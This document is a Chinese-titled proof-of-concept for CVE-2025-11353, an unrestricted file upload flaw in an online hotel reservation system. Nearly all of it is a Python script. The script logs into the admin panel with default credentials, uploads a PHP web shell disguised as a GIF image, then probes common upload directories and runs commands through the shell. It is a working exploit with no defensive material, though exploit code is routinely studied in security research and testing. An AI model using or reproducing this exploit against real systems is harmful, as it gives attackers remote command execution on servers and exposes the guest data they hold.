CVE-2025-11353：Online Hotel Reservation System任意文件上传漏洞

# CVE-2025-11353 - Online Hotel Reservation System Unrestricted File Upload PoC # Vulnerability: Unrestricted file upload in /admin/addgalleryexec.php via 'image' parameter # Author: Security Researcher import requests TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/" UPLOAD_PATH = "/admin/addgalleryexec.php" USERNAME = "admin" PASSWORD = "admin" # Step 1: Login to admin panel to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } # Perform login login_url = TARGET_URL + ADMIN_PATH resp = session.post(login_url, data=login_data) print(f"[*] Login response status: {resp.status_code}") # Step 2: Prepare malicious PHP web shell disguised as image # The shell payload will be saved with .php extension web_shell_content = b"GIF89a;\n<?php echo system($_GET['cmd']); ?>" files = { "image": ("shell.php", web_shell_content, "image/gif") } # Step 3: Upload the malicious file upload_url = TARGET_URL + UPLOAD_PATH print(f"[*] Uploading payload to: {upload_url}") resp = session.post(upload_url, files=files) print(f"[*] Upload response status: {resp.status_code}") # Step 4: Try to access the uploaded shell # Common upload directories to check upload_dirs = [ "/admin/uploads/", "/admin/images/", "/uploads/", "/images/gallery/", "/gallery/" ] for upload_dir in upload_dirs: shell_url = TARGET_URL + upload_dir + "shell.php" print(f"[*] Trying shell at: {shell_url}") resp = requests.get(shell_url + "?cmd=id") if resp.status_code == 200 and "uid=" in resp.text: print(f"[+] SUCCESS! Shell is accessible at: {shell_url}") print(f"[+] Command output: {resp.text}") break else: print("[-] Could not locate uploaded shell, check upload directory manually")